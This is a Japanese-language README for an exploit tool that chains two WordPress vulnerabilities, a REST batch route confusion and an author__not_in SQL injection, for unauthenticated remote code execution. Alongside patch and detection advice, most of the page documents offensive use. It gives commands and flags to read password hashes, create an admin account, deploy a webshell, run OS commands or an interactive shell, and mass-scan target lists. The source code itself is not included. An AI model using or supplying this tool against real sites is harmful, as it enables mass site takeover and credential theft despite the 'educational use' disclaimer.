
Pythonエクスプロイトツール。CVE-2026-63030のRESTバッチルート混同とCVE-2026-60137のSQLインジェクションを連鎖させ、認証不要のWordPress RCE、データベース読み取り、ウェブシェル展開を実現します。
Author: LANGZ
CVE: CVE-2026-63030 (Chained with CVE-2026-60137)
Severity: Critical (CVSS 9.8)
Type: Pre-Authentication Remote Code Execution (RCE)
このツールは教育目的および許可されたセキュリティテスト専用として提供されています。
このツールを使用することにより、以下に同意したものとみなされます:
許可なくシステムに対してこのツールを使用した場合、犯罪を犯すことになります。
作者はそのような行為を容認、支持せず、一切の責任を負いません。
CVE-2026-63030 は、WordPress コアのバージョン 6.9 で導入された REST API バッチルート混同の脆弱性(CWE-436)です。CVE-2026-60137(WP_Query の author__not_in パラメータにおけるブラインド SQL インジェクション)と連鎖させることで、未認証の攻撃者がデフォルトの WordPress インストール上で完全なリモートコード実行を達成できるようになります。
| 項目 | 詳細 |
|---|---|
| 影響を受けるバージョン | WordPress 6.9.0 – 6.9.4、WordPress 7.0.0 – 7.0.1 |
| SQLi のみ影響 | WordPress 6.8.0 – 6.8.5(CVE-2026-60137 のみ) |
| 必要な認証 | なし |
| ユーザー操作 | なし |
| 影響 | サイトの完全な侵害 — データベースの読み書き、任意の PHP ファイルのアップロード、OS コマンドの実行 |
| 悪用状況 | 実際に悪用されており、62,802 以上のユニークな攻撃元 IP が観測されている |
攻撃者ができること:
危険である理由:
WordPress をパッチ適用済みバージョンに更新してください:
| 現在のバージョン | 更新先 |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6(SQLi 修正のみ) |
注意: WordPress は強制自動更新を有効にしていますが、自動更新を無効にしているサイトや、更新を遅延させるマネージドホスティングでは依然として脆弱なままです。更新が正常に適用されたことを確認してください。
/wp-json/batch/v1 への POST リクエストをブロック?rest_route=/batch/v1 への POST リクエストをブロック以下を確認してください:
/wp-json/batch/v1 または ?rest_route=/batch/v1 への不審な POST リクエスト/wp-content/cache/ やその他のウェブからアクセス可能なディレクトリ内の不審な PHP ファイル侵害の痕跡を発見した場合、ファイルと管理者アカウントを削除するだけでは不十分です。 完全なインシデント対応を実施し、システム全体の再構築を検討してください。
このエクスプロイトチェーンは 2 つの脆弱性を組み合わせています:
WordPress の REST API バッチプロセッサ(serve_batch_request_v1)にはオフバイワンのインデックスバグがあります。サブリクエストのパス(例:"///")で wp_parse_url() が失敗すると、結果の WP_Error は $validation[] にプッシュされますが、$matches[] にはプッシュされません。これにより 2 つの配列の同期が崩れ、後続のすべてのリクエストが誤ったハンドラの下でディスパッチされるようになります。
あるバッチの中に慎重に構造化された別のバッチをネストすることで、攻撃者はあるエンドポイントのスキーマで検証されたリクエストを、まったく別のエンドポイントのコールバックを通してルーティングでき、権限チェックを完全にバイパスできます。
混同されたリクエストは WP_Query の author__not_in パラメータに到達します。WordPress は文字列を配列にキャストしますが、absint() によるサニタイズをスキップするため、生の SQL インジェクションが可能になります。このツールはこれを利用して:
UNION SELECT)WP_Post オブジェクトで WordPress のオブジェクトキャッシュを汚染するセットアップが完了すると(テーブルプレフィックスと管理者 ID の特定)、昇格ペイロードが単一の HTTP リクエストで発火します:
UNION による偽の投稿)その後、ツールは生成された管理者認証情報を使用して、OS コマンド実行のためのプラグインベースのウェブシェルを展開します。
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
引数なしで実行すると、インタラクティブメニューが開きます:
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
このプロジェクトは教育および許可されたセキュリティテスト目的のみで提供されています。
作者 LANGZ は、このツールによって引き起こされたいかなる誤用や損害についても一切の責任を負いません。
Author: LANGZ
CVE: CVE-2026-63030
| フラグ | 説明 |
|---|
--timeout | リクエストのタイムアウト秒数(デフォルト:15) |
--proxy | HTTP プロキシ(例:http://127.0.0.1:8080) |
--threads | マススキャンの並列スレッド数(デフォルト:50) |
--sleep | ブラインド確認用の SQL タイミング遅延(デフォルト:3) |
--samples | 確認用のタイミングペア数(デフォルト:3) |
--confirm-sqli | アクティブな SQLi 確認ペイロードを送信 |
--preset | fingerprint または users |
--query | 読み取るカスタム SQL 式 |
--prefix | データベースのテーブルプレフィックス(デフォルト:wp_) |
--max-length | 値ごとの最大文字数(デフォルト:128) |
--technique | auto、union、blind、または error |
--user | 管理者ユーザー名(--shell 用) |
--password | 管理者パスワード(--shell 用) |
--cmd | ターゲット上で実行するコマンド |
-i, --interactive | インタラクティブシェルを開く |